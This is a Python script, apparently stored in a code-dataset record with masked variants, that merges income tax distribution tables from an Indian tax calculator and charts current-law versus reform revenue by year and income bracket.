plt.plot(years, clp_pitax_list, linestyle='-', marker='o', color='b', label='Current Law', linewidth=2.0)
plt.plot(years, ref_pitax_list, linestyle='--', marker='o', color='r', label='Reform', linewidth=2.0)
plt.legend(loc='best')
plt.savefig('Total_collection_PIT.png')
plt.show()
# generating bar chart for difference in average tax burden due to reform
# for 2020 - the first year of reform
year = 2020
df_pitax_diff = df['pitax_diff_avg_ref_'+str(year)]
df_pitax_diff = df_pitax_diff[:-1]
df_pitax_diff = df_pitax_diff[2:]
df_pitax_diff = df_pitax_diff.reset_index()
pitax_inc_brac_list = df_pitax_diff['Income_Bracket'].tolist()
pitax_diff_list = df_pitax_diff['pitax_diff_avg_ref_'+str(year)].tolist()
pitax_diff_list = [float(i.replace(',','')) for i in pitax_diff_list]
plt.rcdefaults()
#plt.style.use('seaborn-whitegrid')
fig, ax = plt.subplots(figsize=(8, 5))
# Example data
x_pos = np.arange(len(pitax_inc_brac_list))
ax.bar(x_pos, pitax_diff_list,
color='green')
ax.set_xticks(x_pos)
ax.set_xticklabels(pitax_inc_brac_list)
#ax.invert_yaxis() # labels read top-to-bottom
ax.set_ylabel('Rupees')
ax.set_xlabel('Income Bracket')
ax.invert_yaxis()
ax.set_title('Change in Average Tax Burden Due to Reform in 2020')
plt.savefig('Average Tax Burden Change.png')
plt.show()
# generating pie chart for contribution of tax by different income groups
# for 2020 - the first year of reform
year = 2020
df_pitax_tot_clp = df['pitax_total_clp_'+str(year)]
df_pitax_tot_clp = df_pitax_tot_clp[:-1]
df_pitax_tot_clp = df_pitax_tot_clp[2:]
df_pitax_tot_clp = df_pitax_tot_clp.reset_index()
pitax_inc_brac_list_clp = df_pitax_tot_clp['Income_Bracket'].tolist()
pitax_tot_list_clp = df_pitax_tot_clp['pitax_total_clp_'+str(year)].tolist()
pitax_tot_list_clp = [float(i.replace(',','')) for i in pitax_tot_list_clp]
pitax_tot_list_clp = [round(elem) for elem in pitax_tot_list_clp ]
fig, ax = plt.subplots(figsize=(10, 10))
# only "explode" the 5th slice (contributing to max revenue)
explode = (0, 0, 0, 0, 0.1, 0, 0, 0, 0)
ax.pie(pitax_tot_list_clp, explode=explode, labels=pitax_inc_brac_list_clp, autopct='%1.1f%%',
shadow=False, startangle=90)
ax.axis('equal') # Equal aspect ratio ensures that pie is drawn as a circle.
plt.suptitle('Contribution by Income Bracket to total PIT in 2020', fontsize=16, fontweight="bold")
ax.set_title('Current Law', fontsize=16, fontweight="bold")
plt.savefig('Contribution to total PIT.png')
plt.show()
# generating pie chart for comparing contribution of tax by
# different income groups for clp and reform for 2020 - the first year of reform
year = 2020
df_pitax_tot = df['pitax_total_ref_'+str(year)]
df_pitax_tot = df_pitax_tot[:-1]
df_pitax_tot = df_pitax_tot[2:]
df_pitax_tot = df_pitax_tot.reset_index()
pitax_inc_brac_list = df_pitax_tot['Income_Bracket'].tolist()
pitax_tot_list = df_pitax_tot['pitax_total_ref_'+str(year)].tolist()
pitax_tot_list = [float(i.replace(',','')) for i in pitax_tot_list]
pitax_tot_list = [round(elem) for elem in pitax_tot_list ]
fig, (ax1, ax2) = plt.subplots(1,2, figsize=(10, 5))
#fig, ax = plt.subplots(figsize=(10, 5))
#the_grid = GridSpec(2, 2)
# only "explode" the 5th slice (contributing to max revenue)
explode = (0, 0, 0, 0, 0.1, 0, 0, 0, 0)
#plt.subplot(the_grid[1, 0], aspect=1)
plt.suptitle('Contribution by Income Bracket to total PIT in 2020', fontsize=16, fontweight="bold")
ax1.pie(pitax_tot_list_clp, explode=explode, labels=pitax_inc_brac_list_clp, autopct='%1.1f%%',
shadow=False, startangle=90)
ax1.axis('equal') # Equal aspect ratio ensures that pie is drawn as a circle.
#plt.subplot(the_grid[0, 1], aspect=1)
ax2.pie(pitax_tot_list, explode=explode, labels=pitax_inc_brac_list, autopct='%1.1f%%',
shadow=False, startangle=90)
ax2.axis('equal') # Equal aspect ratio ensures that pie is drawn as a circle.
ax1.set_title('Current Law', fontweight="bold")
ax2.set_title('Reform', fontweight="bold")
plt.savefig('Contribution to total PIT - Before and After Reform.png')
plt.show()
|
flexible
|
{
"blob_id": "c3967ab15b8278d958fa5ff6ff48bbfb0b086238",
"index": 3729,
"step-1": "<mask token>\n",
"step-2": "<mask token>\nfor year in range(BASE_YEAR, END_YEAR + 1):\n filename1 = 'dist-table-all-clp-avg-' + str(year) + '.txt'\n df1 = pd.read_fwf(filename1)\n df1.drop('Unnamed: 0', axis=1, inplace=True)\n col_list = df1.columns[1:] + '_avg_clp_' + str(year)\n col_list = col_list.insert(0, 'Income_Bracket')\n df1.columns = col_list\n filename2 = 'dist-table-all-clp-total-' + str(year) + '.txt'\n df2 = pd.read_fwf(filename2)\n df2.drop('Unnamed: 0', axis=1, inplace=True)\n col_list = df2.columns[1:] + '_total_clp_' + str(year)\n col_list = col_list.insert(0, 'Income_Bracket')\n df2.columns = col_list\n a[year] = pd.merge(df1, df2, how='inner', on='Income_Bracket')\n filename3 = 'dist-table-all-ref-avg-' + str(year) + '.txt'\n df3 = pd.read_fwf(filename3)\n df3.drop('Unnamed: 0', axis=1, inplace=True)\n col_list = df3.columns[1:] + '_avg_ref_' + str(year)\n col_list = col_list.insert(0, 'Income_Bracket')\n df3.columns = col_list\n a[year] = pd.merge(a[year], df3, how='inner', on='Income_Bracket')\n filename4 = 'dist-table-all-ref-total-' + str(year) + '.txt'\n df4 = pd.read_fwf(filename4)\n df4.drop('Unnamed: 0', axis=1, inplace=True)\n col_list = df4.columns[1:] + '_total_ref_' + str(year)\n col_list = col_list.insert(0, 'Income_Bracket')\n df4.columns = col_list\n a[year] = pd.merge(a[year], df4, how='inner', on='Income_Bracket')\n<mask token>\nfor year in range(BASE_YEAR + 1, END_YEAR + 1):\n df = pd.merge(df, a[year], how='inner', on='Income_Bracket')\ndf.set_index('Income_Bracket', inplace=True)\ndf.to_csv('dist-table-all-years.csv', index=True)\n<mask token>\ndf.set_index('Income_Bracket', inplace=True)\n<mask token>\nplt.style.use('seaborn-whitegrid')\n<mask token>\nplt.title('Estimated Tax Collection')\nplt.xlabel('Year')\nplt.ylabel('Tax Collection in lakh Cr.')\n<mask token>\nplt.plot(years, clp_pitax_list, linestyle='-', marker='o', color='b', label\n ='Current Law', linewidth=2.0)\nplt.plot(years, ref_pitax_list, linestyle='--', marker='o', color='r',\n label='Reform', linewidth=2.0)\nplt.legend(loc='best')\nplt.savefig('Total_collection_PIT.png')\nplt.show()\n<mask token>\nplt.rcdefaults()\n<mask token>\nax.bar(x_pos, pitax_diff_list, color='green')\nax.set_xticks(x_pos)\nax.set_xticklabels(pitax_inc_brac_list)\nax.set_ylabel('Rupees')\nax.set_xlabel('Income Bracket')\nax.invert_yaxis()\nax.set_title('Change in Average Tax Burden Due to Reform in 2020')\nplt.savefig('Average Tax Burden Change.png')\nplt.show()\n<mask token>\nax.pie(pitax_tot_list_clp, explode=explode, labels=pitax_inc_brac_list_clp,\n autopct='%1.1f%%', shadow=False, startangle=90)\nax.axis('equal')\nplt.suptitle('Contribution by Income Bracket to total PIT in 2020',\n fontsize=16, fontweight='bold')\nax.set_title('Current Law', fontsize=16, fontweight='bold')\nplt.savefig('Contribution to total PIT.png')\nplt.show()\n<mask token>\nplt.suptitle('Contribution by Income Bracket to total PIT in 2020',\n fontsize=16, fontweight='bold')\nax1.pie(pitax_tot_list_clp, explode=explode, labels=pitax_inc_brac_list_clp,\n autopct='%1.1f%%', shadow=False, startangle=90)\nax1.axis('equal')\nax2.pie(pitax_tot_list, explode=explode, labels=pitax_inc_brac_list,\n autopct='%1.1f%%', shadow=False, startangle=90)\nax2.axis('equal')\nax1.set_title('Current Law', fontweight='bold')\nax2.set_title('Reform', fontweight='bold')\nplt.savefig('Contribution to total PIT - Before and After Reform.png')\nplt.show()\n",
"step-3": "<mask token>\nSTART_YEAR = 2017\nEND_YEAR = 2023\nBASE_YEAR = 2019\nyear = START_YEAR\na = {}\nfor year in range(BASE_YEAR, END_YEAR + 1):\n filename1 = 'dist-table-all-clp-avg-' + str(year) + '.txt'\n df1 = pd.read_fwf(filename1)\n df1.drop('Unnamed: 0', axis=1, inplace=True)\n col_list = df1.columns[1:] + '_avg_clp_' + str(year)\n col_list = col_list.insert(0, 'Income_Bracket')\n df1.columns = col_list\n filename2 = 'dist-table-all-clp-total-' + str(year) + '.txt'\n df2 = pd.read_fwf(filename2)\n df2.drop('Unnamed: 0', axis=1, inplace=True)\n col_list = df2.columns[1:] + '_total_clp_' + str(year)\n col_list = col_list.insert(0, 'Income_Bracket')\n df2.columns = col_list\n a[year] = pd.merge(df1, df2, how='inner', on='Income_Bracket')\n filename3 = 'dist-table-all-ref-avg-' + str(year) + '.txt'\n df3 = pd.read_fwf(filename3)\n df3.drop('Unnamed: 0', axis=1, inplace=True)\n col_list = df3.columns[1:] + '_avg_ref_' + str(year)\n col_list = col_list.insert(0, 'Income_Bracket')\n df3.columns = col_list\n a[year] = pd.merge(a[year], df3, how='inner', on='Income_Bracket')\n filename4 = 'dist-table-all-ref-total-' + str(year) + '.txt'\n df4 = pd.read_fwf(filename4)\n df4.drop('Unnamed: 0', axis=1, inplace=True)\n col_list = df4.columns[1:] + '_total_ref_' + str(year)\n col_list = col_list.insert(0, 'Income_Bracket')\n df4.columns = col_list\n a[year] = pd.merge(a[year], df4, how='inner', on='Income_Bracket')\ndf = a[BASE_YEAR]\nfor year in range(BASE_YEAR + 1, END_YEAR + 1):\n df = pd.merge(df, a[year], how='inner', on='Income_Bracket')\ndf.set_index('Income_Bracket', inplace=True)\ndf.to_csv('dist-table-all-years.csv', index=True)\ndf = pd.read_csv('dist-table-all-years.csv')\ndf.set_index('Income_Bracket', inplace=True)\ndf_pit_totals_clp = df[df.columns[df.columns.str.startswith('pitax_total_clp')]\n ]\ndf_pit_totals_ref = df[df.columns[df.columns.str.startswith('pitax_total_ref')]\n ]\nclp_pitax_list = df_pit_totals_clp.loc['ALL'].tolist()\nclp_pitax_list = [float(i.replace(',', '')) for i in clp_pitax_list]\nclp_pitax_list = [round(elem, 0) for elem in clp_pitax_list]\nref_pitax_list = df_pit_totals_ref.loc['ALL'].tolist()\nref_pitax_list = [float(i.replace(',', '')) for i in ref_pitax_list]\nref_pitax_list = [round(elem, 0) for elem in ref_pitax_list]\nyears = [x[-4:] for x in list(df_pit_totals_clp.columns)]\nplt.style.use('seaborn-whitegrid')\nfig = plt.figure()\n<mask token>\nplt.title('Estimated Tax Collection')\nplt.xlabel('Year')\nplt.ylabel('Tax Collection in lakh Cr.')\n<mask token>\nplt.plot(years, clp_pitax_list, linestyle='-', marker='o', color='b', label\n ='Current Law', linewidth=2.0)\nplt.plot(years, ref_pitax_list, linestyle='--', marker='o', color='r',\n label='Reform', linewidth=2.0)\nplt.legend(loc='best')\nplt.savefig('Total_collection_PIT.png')\nplt.show()\nyear = 2020\ndf_pitax_diff = df['pitax_diff_avg_ref_' + str(year)]\ndf_pitax_diff = df_pitax_diff[:-1]\ndf_pitax_diff = df_pitax_diff[2:]\ndf_pitax_diff = df_pitax_diff.reset_index()\npitax_inc_brac_list = df_pitax_diff['Income_Bracket'].tolist()\npitax_diff_list = df_pitax_diff['pitax_diff_avg_ref_' + str(year)].tolist()\npitax_diff_list = [float(i.replace(',', '')) for i in pitax_diff_list]\nplt.rcdefaults()\nfig, ax = plt.subplots(figsize=(8, 5))\nx_pos = np.arange(len(pitax_inc_brac_list))\nax.bar(x_pos, pitax_diff_list, color='green')\nax.set_xticks(x_pos)\nax.set_xticklabels(pitax_inc_brac_list)\nax.set_ylabel('Rupees')\nax.set_xlabel('Income Bracket')\nax.invert_yaxis()\nax.set_title('Change in Average Tax Burden Due to Reform in 2020')\nplt.savefig('Average Tax Burden Change.png')\nplt.show()\nyear = 2020\ndf_pitax_tot_clp = df['pitax_total_clp_' + str(year)]\ndf_pitax_tot_clp = df_pitax_tot_clp[:-1]\ndf_pitax_tot_clp = df_pitax_tot_clp[2:]\ndf_pitax_tot_clp = df_pitax_tot_clp.reset_index()\npitax_inc_brac_list_clp = df_pitax_tot_clp['Income_Bracket'].tolist()\npitax_tot_list_clp = df_pitax_tot_clp['pitax_total_clp_' + str(year)].tolist()\npitax_tot_list_clp = [float(i.replace(',', '')) for i in pitax_tot_list_clp]\npitax_tot_list_clp = [round(elem) for elem in pitax_tot_list_clp]\nfig, ax = plt.subplots(figsize=(10, 10))\nexplode = 0, 0, 0, 0, 0.1, 0, 0, 0, 0\nax.pie(pitax_tot_list_clp, explode=explode, labels=pitax_inc_brac_list_clp,\n autopct='%1.1f%%', shadow=False, startangle=90)\nax.axis('equal')\nplt.suptitle('Contribution by Income Bracket to total PIT in 2020',\n fontsize=16, fontweight='bold')\nax.set_title('Current Law', fontsize=16, fontweight='bold')\nplt.savefig('Contribution to total PIT.png')\nplt.show()\nyear = 2020\ndf_pitax_tot = df['pitax_total_ref_' + str(year)]\ndf_pitax_tot = df_pitax_tot[:-1]\ndf_pitax_tot = df_pitax_tot[2:]\ndf_pitax_tot = df_pitax_tot.reset_index()\npitax_inc_brac_list = df_pitax_tot['Income_Bracket'].tolist()\npitax_tot_list = df_pitax_tot['pitax_total_ref_' + str(year)].tolist()\npitax_tot_list = [float(i.replace(',', '')) for i in pitax_tot_list]\npitax_tot_list = [round(elem) for elem in pitax_tot_list]\nfig, (ax1, ax2) = plt.subplots(1, 2, figsize=(10, 5))\nexplode = 0, 0, 0, 0, 0.1, 0, 0, 0, 0\nplt.suptitle('Contribution by Income Bracket to total PIT in 2020',\n fontsize=16, fontweight='bold')\nax1.pie(pitax_tot_list_clp, explode=explode, labels=pitax_inc_brac_list_clp,\n autopct='%1.1f%%', shadow=False, startangle=90)\nax1.axis('equal')\nax2.pie(pitax_tot_list, explode=explode, labels=pitax_inc_brac_list,\n autopct='%1.1f%%', shadow=False, startangle=90)\nax2.axis('equal')\nax1.set_title('Current Law', fontweight='bold')\nax2.set_title('Reform', fontweight='bold')\nplt.savefig('Contribution to total PIT - Before and After Reform.png')\nplt.show()\n",
"step-4": "<mask token>\nimport pandas as pd\nfrom taxcalc import *\nimport numpy as np\nfrom babel.numbers import format_currency\nimport matplotlib.pyplot as plt\nfrom matplotlib.gridspec import GridSpec\nSTART_YEAR = 2017\nEND_YEAR = 2023\nBASE_YEAR = 2019\nyear = START_YEAR\na = {}\nfor year in range(BASE_YEAR, END_YEAR + 1):\n filename1 = 'dist-table-all-clp-avg-' + str(year) + '.txt'\n df1 = pd.read_fwf(filename1)\n df1.drop('Unnamed: 0', axis=1, inplace=True)\n col_list = df1.columns[1:] + '_avg_clp_' + str(year)\n col_list = col_list.insert(0, 'Income_Bracket')\n df1.columns = col_list\n filename2 = 'dist-table-all-clp-total-' + str(year) + '.txt'\n df2 = pd.read_fwf(filename2)\n df2.drop('Unnamed: 0', axis=1, inplace=True)\n col_list = df2.columns[1:] + '_total_clp_' + str(year)\n col_list = col_list.insert(0, 'Income_Bracket')\n df2.columns = col_list\n a[year] = pd.merge(df1, df2, how='inner', on='Income_Bracket')\n filename3 = 'dist-table-all-ref-avg-' + str(year) + '.txt'\n df3 = pd.read_fwf(filename3)\n df3.drop('Unnamed: 0', axis=1, inplace=True)\n col_list = df3.columns[1:] + '_avg_ref_' + str(year)\n col_list = col_list.insert(0, 'Income_Bracket')\n df3.columns = col_list\n a[year] = pd.merge(a[year], df3, how='inner', on='Income_Bracket')\n filename4 = 'dist-table-all-ref-total-' + str(year) + '.txt'\n df4 = pd.read_fwf(filename4)\n df4.drop('Unnamed: 0', axis=1, inplace=True)\n col_list = df4.columns[1:] + '_total_ref_' + str(year)\n col_list = col_list.insert(0, 'Income_Bracket')\n df4.columns = col_list\n a[year] = pd.merge(a[year], df4, how='inner', on='Income_Bracket')\ndf = a[BASE_YEAR]\nfor year in range(BASE_YEAR + 1, END_YEAR + 1):\n df = pd.merge(df, a[year], how='inner', on='Income_Bracket')\ndf.set_index('Income_Bracket', inplace=True)\ndf.to_csv('dist-table-all-years.csv', index=True)\ndf = pd.read_csv('dist-table-all-years.csv')\ndf.set_index('Income_Bracket', inplace=True)\ndf_pit_totals_clp = df[df.columns[df.columns.str.startswith('pitax_total_clp')]\n ]\ndf_pit_totals_ref = df[df.columns[df.columns.str.startswith('pitax_total_ref')]\n ]\nclp_pitax_list = df_pit_totals_clp.loc['ALL'].tolist()\nclp_pitax_list = [float(i.replace(',', '')) for i in clp_pitax_list]\nclp_pitax_list = [round(elem, 0) for elem in clp_pitax_list]\nref_pitax_list = df_pit_totals_ref.loc['ALL'].tolist()\nref_pitax_list = [float(i.replace(',', '')) for i in ref_pitax_list]\nref_pitax_list = [round(elem, 0) for elem in ref_pitax_list]\nyears = [x[-4:] for x in list(df_pit_totals_clp.columns)]\nplt.style.use('seaborn-whitegrid')\nfig = plt.figure()\n<mask token>\nplt.title('Estimated Tax Collection')\nplt.xlabel('Year')\nplt.ylabel('Tax Collection in lakh Cr.')\n<mask token>\nplt.plot(years, clp_pitax_list, linestyle='-', marker='o', color='b', label\n ='Current Law', linewidth=2.0)\nplt.plot(years, ref_pitax_list, linestyle='--', marker='o', color='r',\n label='Reform', linewidth=2.0)\nplt.legend(loc='best')\nplt.savefig('Total_collection_PIT.png')\nplt.show()\nyear = 2020\ndf_pitax_diff = df['pitax_diff_avg_ref_' + str(year)]\ndf_pitax_diff = df_pitax_diff[:-1]\ndf_pitax_diff = df_pitax_diff[2:]\ndf_pitax_diff = df_pitax_diff.reset_index()\npitax_inc_brac_list = df_pitax_diff['Income_Bracket'].tolist()\npitax_diff_list = df_pitax_diff['pitax_diff_avg_ref_' + str(year)].tolist()\npitax_diff_list = [float(i.replace(',', '')) for i in pitax_diff_list]\nplt.rcdefaults()\nfig, ax = plt.subplots(figsize=(8, 5))\nx_pos = np.arange(len(pitax_inc_brac_list))\nax.bar(x_pos, pitax_diff_list, color='green')\nax.set_xticks(x_pos)\nax.set_xticklabels(pitax_inc_brac_list)\nax.set_ylabel('Rupees')\nax.set_xlabel('Income Bracket')\nax.invert_yaxis()\nax.set_title('Change in Average Tax Burden Due to Reform in 2020')\nplt.savefig('Average Tax Burden Change.png')\nplt.show()\nyear = 2020\ndf_pitax_tot_clp = df['pitax_total_clp_' + str(year)]\ndf_pitax_tot_clp = df_pitax_tot_clp[:-1]\ndf_pitax_tot_clp = df_pitax_tot_clp[2:]\ndf_pitax_tot_clp = df_pitax_tot_clp.reset_index()\npitax_inc_brac_list_clp = df_pitax_tot_clp['Income_Bracket'].tolist()\npitax_tot_list_clp = df_pitax_tot_clp['pitax_total_clp_' + str(year)].tolist()\npitax_tot_list_clp = [float(i.replace(',', '')) for i in pitax_tot_list_clp]\npitax_tot_list_clp = [round(elem) for elem in pitax_tot_list_clp]\nfig, ax = plt.subplots(figsize=(10, 10))\nexplode = 0, 0, 0, 0, 0.1, 0, 0, 0, 0\nax.pie(pitax_tot_list_clp, explode=explode, labels=pitax_inc_brac_list_clp,\n autopct='%1.1f%%', shadow=False, startangle=90)\nax.axis('equal')\nplt.suptitle('Contribution by Income Bracket to total PIT in 2020',\n fontsize=16, fontweight='bold')\nax.set_title('Current Law', fontsize=16, fontweight='bold')\nplt.savefig('Contribution to total PIT.png')\nplt.show()\nyear = 2020\ndf_pitax_tot = df['pitax_total_ref_' + str(year)]\ndf_pitax_tot = df_pitax_tot[:-1]\ndf_pitax_tot = df_pitax_tot[2:]\ndf_pitax_tot = df_pitax_tot.reset_index()\npitax_inc_brac_list = df_pitax_tot['Income_Bracket'].tolist()\npitax_tot_list = df_pitax_tot['pitax_total_ref_' + str(year)].tolist()\npitax_tot_list = [float(i.replace(',', '')) for i in pitax_tot_list]\npitax_tot_list = [round(elem) for elem in pitax_tot_list]\nfig, (ax1, ax2) = plt.subplots(1, 2, figsize=(10, 5))\nexplode = 0, 0, 0, 0, 0.1, 0, 0, 0, 0\nplt.suptitle('Contribution by Income Bracket to total PIT in 2020',\n fontsize=16, fontweight='bold')\nax1.pie(pitax_tot_list_clp, explode=explode, labels=pitax_inc_brac_list_clp,\n autopct='%1.1f%%', shadow=False, startangle=90)\nax1.axis('equal')\nax2.pie(pitax_tot_list, explode=explode, labels=pitax_inc_brac_list,\n autopct='%1.1f%%', shadow=False, startangle=90)\nax2.axis('equal')\nax1.set_title('Current Law', fontweight='bold')\nax2.set_title('Reform', fontweight='bold')\nplt.savefig('Contribution to total PIT - Before and After Reform.png')\nplt.show()\n",
"step-5": "\"\"\"\r\napp_dist_Tables00.py illustrates use of pitaxcalc-demo release 2.0.0\r\n(India version).\r\nUSAGE: python app_dist_Tables00.py\r\n\"\"\"\r\nimport pandas as pd\r\nfrom taxcalc import *\r\nimport numpy as np\r\nfrom babel.numbers import format_currency\r\nimport matplotlib.pyplot as plt\r\nfrom matplotlib.gridspec import GridSpec\r\n\r\n \r\n# Generate Charts\r\n# first merge the files\r\nSTART_YEAR = 2017\r\nEND_YEAR = 2023\r\nBASE_YEAR = 2019\r\nyear = START_YEAR\r\na={}\r\nfor year in range(BASE_YEAR, END_YEAR+1):\r\n filename1='dist-table-all-clp-avg-'+str(year)+'.txt'\r\n df1 = pd.read_fwf(filename1) \r\n df1.drop('Unnamed: 0',axis=1,inplace=True)\r\n col_list = df1.columns[1:] + '_avg_clp_' + str(year)\r\n col_list = col_list.insert(0, 'Income_Bracket')\r\n df1.columns = col_list\r\n filename2='dist-table-all-clp-total-'+str(year)+'.txt'\r\n df2 = pd.read_fwf(filename2) \r\n df2.drop('Unnamed: 0',axis=1,inplace=True)\r\n col_list = df2.columns[1:] + '_total_clp_' + str(year)\r\n col_list = col_list.insert(0, 'Income_Bracket')\r\n df2.columns = col_list\r\n a[year] = pd.merge(df1, df2, how=\"inner\", on=\"Income_Bracket\")\r\n filename3='dist-table-all-ref-avg-'+str(year)+'.txt'\r\n df3 = pd.read_fwf(filename3) \r\n df3.drop('Unnamed: 0',axis=1,inplace=True)\r\n col_list = df3.columns[1:] + '_avg_ref_' + str(year)\r\n col_list = col_list.insert(0, 'Income_Bracket')\r\n df3.columns = col_list\r\n a[year] = pd.merge(a[year], df3, how=\"inner\", on=\"Income_Bracket\")\r\n filename4='dist-table-all-ref-total-'+str(year)+'.txt'\r\n df4 = pd.read_fwf(filename4) \r\n df4.drop('Unnamed: 0',axis=1,inplace=True)\r\n col_list = df4.columns[1:] + '_total_ref_' + str(year)\r\n col_list = col_list.insert(0, 'Income_Bracket')\r\n df4.columns = col_list\r\n a[year] = pd.merge(a[year], df4, how=\"inner\", on=\"Income_Bracket\")\r\n\r\ndf=a[BASE_YEAR]\r\nfor year in range(BASE_YEAR+1, END_YEAR+1):\r\n df = pd.merge(df, a[year], how=\"inner\", on=\"Income_Bracket\")\r\n\r\ndf.set_index('Income_Bracket', inplace=True)\r\n\r\ndf.to_csv('dist-table-all-years.csv', index=True)\r\n\r\ndf = pd.read_csv('dist-table-all-years.csv')\r\ndf.set_index('Income_Bracket', inplace=True)\r\ndf_pit_totals_clp = df[df.columns[df.columns.str.startswith('pitax_total_clp')]]\r\ndf_pit_totals_ref = df[df.columns[df.columns.str.startswith('pitax_total_ref')]]\r\nclp_pitax_list = df_pit_totals_clp.loc['ALL'].tolist()\r\nclp_pitax_list = [float(i.replace(',','')) for i in clp_pitax_list]\r\nclp_pitax_list = [round(elem, 0) for elem in clp_pitax_list ]\r\nref_pitax_list = df_pit_totals_ref.loc['ALL'].tolist()\r\nref_pitax_list = [float(i.replace(',','')) for i in ref_pitax_list]\r\nref_pitax_list = [round(elem, 0) for elem in ref_pitax_list ]\r\nyears = [x[-4:] for x in list(df_pit_totals_clp.columns)]\r\n\r\nplt.style.use('seaborn-whitegrid')\r\nfig = plt.figure()\r\n\"\"\"\r\nax = plt.axes()\r\nax.plot(x, np.sin(x))\r\nax.set(xlim=(0, 10), ylim=(-2, 2),\r\n xlabel='x', ylabel='sin(x)',\r\n title='A Simple Plot')\r\n\"\"\"\r\n#plt.axis([2017, 2021, 150000, 400000])\r\nplt.title(\"Estimated Tax Collection\")\r\nplt.xlabel(\"Year\")\r\nplt.ylabel(\"Tax Collection in lakh Cr.\");\r\n\"\"\"\r\nprint(year)\r\nprint(clp_pitax_list)\r\nprint(ref_pitax_list)\r\n\"\"\"\r\nplt.plot(years, clp_pitax_list, linestyle='-', marker='o', color='b', label='Current Law', linewidth=2.0)\r\nplt.plot(years, ref_pitax_list, linestyle='--', marker='o', color='r', label='Reform', linewidth=2.0)\r\nplt.legend(loc='best')\r\nplt.savefig('Total_collection_PIT.png')\r\nplt.show()\r\n\r\n# generating bar chart for difference in average tax burden due to reform \r\n# for 2020 - the first year of reform\r\nyear = 2020\r\ndf_pitax_diff = df['pitax_diff_avg_ref_'+str(year)]\r\ndf_pitax_diff = df_pitax_diff[:-1]\r\ndf_pitax_diff = df_pitax_diff[2:]\r\ndf_pitax_diff = df_pitax_diff.reset_index()\r\npitax_inc_brac_list = df_pitax_diff['Income_Bracket'].tolist()\r\npitax_diff_list = df_pitax_diff['pitax_diff_avg_ref_'+str(year)].tolist()\r\n\r\npitax_diff_list = [float(i.replace(',','')) for i in pitax_diff_list]\r\n\r\nplt.rcdefaults()\r\n#plt.style.use('seaborn-whitegrid')\r\nfig, ax = plt.subplots(figsize=(8, 5))\r\n# Example data\r\nx_pos = np.arange(len(pitax_inc_brac_list))\r\nax.bar(x_pos, pitax_diff_list, \r\n color='green')\r\nax.set_xticks(x_pos)\r\nax.set_xticklabels(pitax_inc_brac_list)\r\n#ax.invert_yaxis() # labels read top-to-bottom\r\nax.set_ylabel('Rupees')\r\nax.set_xlabel('Income Bracket')\r\nax.invert_yaxis()\r\nax.set_title('Change in Average Tax Burden Due to Reform in 2020')\r\nplt.savefig('Average Tax Burden Change.png')\r\nplt.show()\r\n\r\n# generating pie chart for contribution of tax by different income groups \r\n# for 2020 - the first year of reform\r\n\r\nyear = 2020\r\ndf_pitax_tot_clp = df['pitax_total_clp_'+str(year)]\r\ndf_pitax_tot_clp = df_pitax_tot_clp[:-1]\r\ndf_pitax_tot_clp = df_pitax_tot_clp[2:]\r\ndf_pitax_tot_clp = df_pitax_tot_clp.reset_index()\r\npitax_inc_brac_list_clp = df_pitax_tot_clp['Income_Bracket'].tolist()\r\npitax_tot_list_clp = df_pitax_tot_clp['pitax_total_clp_'+str(year)].tolist()\r\npitax_tot_list_clp = [float(i.replace(',','')) for i in pitax_tot_list_clp]\r\npitax_tot_list_clp = [round(elem) for elem in pitax_tot_list_clp ]\r\n\r\nfig, ax = plt.subplots(figsize=(10, 10))\r\n# only \"explode\" the 5th slice (contributing to max revenue)\r\nexplode = (0, 0, 0, 0, 0.1, 0, 0, 0, 0) \r\n\r\nax.pie(pitax_tot_list_clp, explode=explode, labels=pitax_inc_brac_list_clp, autopct='%1.1f%%',\r\n shadow=False, startangle=90)\r\nax.axis('equal') # Equal aspect ratio ensures that pie is drawn as a circle.\r\nplt.suptitle('Contribution by Income Bracket to total PIT in 2020', fontsize=16, fontweight=\"bold\")\r\nax.set_title('Current Law', fontsize=16, fontweight=\"bold\")\r\nplt.savefig('Contribution to total PIT.png')\r\nplt.show()\r\n\r\n# generating pie chart for comparing contribution of tax by \r\n# different income groups for clp and reform for 2020 - the first year of reform\r\n\r\n\r\n\r\nyear = 2020\r\ndf_pitax_tot = df['pitax_total_ref_'+str(year)]\r\ndf_pitax_tot = df_pitax_tot[:-1]\r\ndf_pitax_tot = df_pitax_tot[2:]\r\ndf_pitax_tot = df_pitax_tot.reset_index()\r\npitax_inc_brac_list = df_pitax_tot['Income_Bracket'].tolist()\r\npitax_tot_list = df_pitax_tot['pitax_total_ref_'+str(year)].tolist()\r\npitax_tot_list = [float(i.replace(',','')) for i in pitax_tot_list]\r\npitax_tot_list = [round(elem) for elem in pitax_tot_list ]\r\n\r\n\r\nfig, (ax1, ax2) = plt.subplots(1,2, figsize=(10, 5))\r\n#fig, ax = plt.subplots(figsize=(10, 5))\r\n#the_grid = GridSpec(2, 2)\r\n\r\n# only \"explode\" the 5th slice (contributing to max revenue)\r\nexplode = (0, 0, 0, 0, 0.1, 0, 0, 0, 0) \r\n\r\n#plt.subplot(the_grid[1, 0], aspect=1)\r\nplt.suptitle('Contribution by Income Bracket to total PIT in 2020', fontsize=16, fontweight=\"bold\")\r\nax1.pie(pitax_tot_list_clp, explode=explode, labels=pitax_inc_brac_list_clp, autopct='%1.1f%%',\r\n shadow=False, startangle=90)\r\nax1.axis('equal') # Equal aspect ratio ensures that pie is drawn as a circle.\r\n\r\n#plt.subplot(the_grid[0, 1], aspect=1)\r\nax2.pie(pitax_tot_list, explode=explode, labels=pitax_inc_brac_list, autopct='%1.1f%%',\r\n shadow=False, startangle=90)\r\nax2.axis('equal') # Equal aspect ratio ensures that pie is drawn as a circle.\r\nax1.set_title('Current Law', fontweight=\"bold\")\r\nax2.set_title('Reform', fontweight=\"bold\")\r\nplt.savefig('Contribution to total PIT - Before and After Reform.png')\r\nplt.show()\r\n\r\n\r\n\r\n\r\n",
"step-ids": [
0,
1,
2,
3,
4
]
}
|
[
0,
1,
2,
3,
4
] |
<|reserved_special_token_0|>
<|reserved_special_token_1|>
<|reserved_special_token_0|>
print(data.head(6))
<|reserved_special_token_0|>
print(data)
<|reserved_special_token_0|>
print(X_train.shape)
print(y_train.shape)
print(X_test.shape)
print(y_test.shape)
<|reserved_special_token_0|>
model.fit(X_train, y_train)
<|reserved_special_token_0|>
print("""Predictions of test set:
%s""" % y_pred)
print(model.feature_importances_)
print(model.score(X_test, y_test))
<|reserved_special_token_0|>
model.fit(X_train, y_train)
print(model.score(X_test, y_test))
<|reserved_special_token_0|>
print(clf.score(X_test, y_test))
<|reserved_special_token_0|>
model.fit(X_train, y_train)
print(model.score(X_test, y_test))
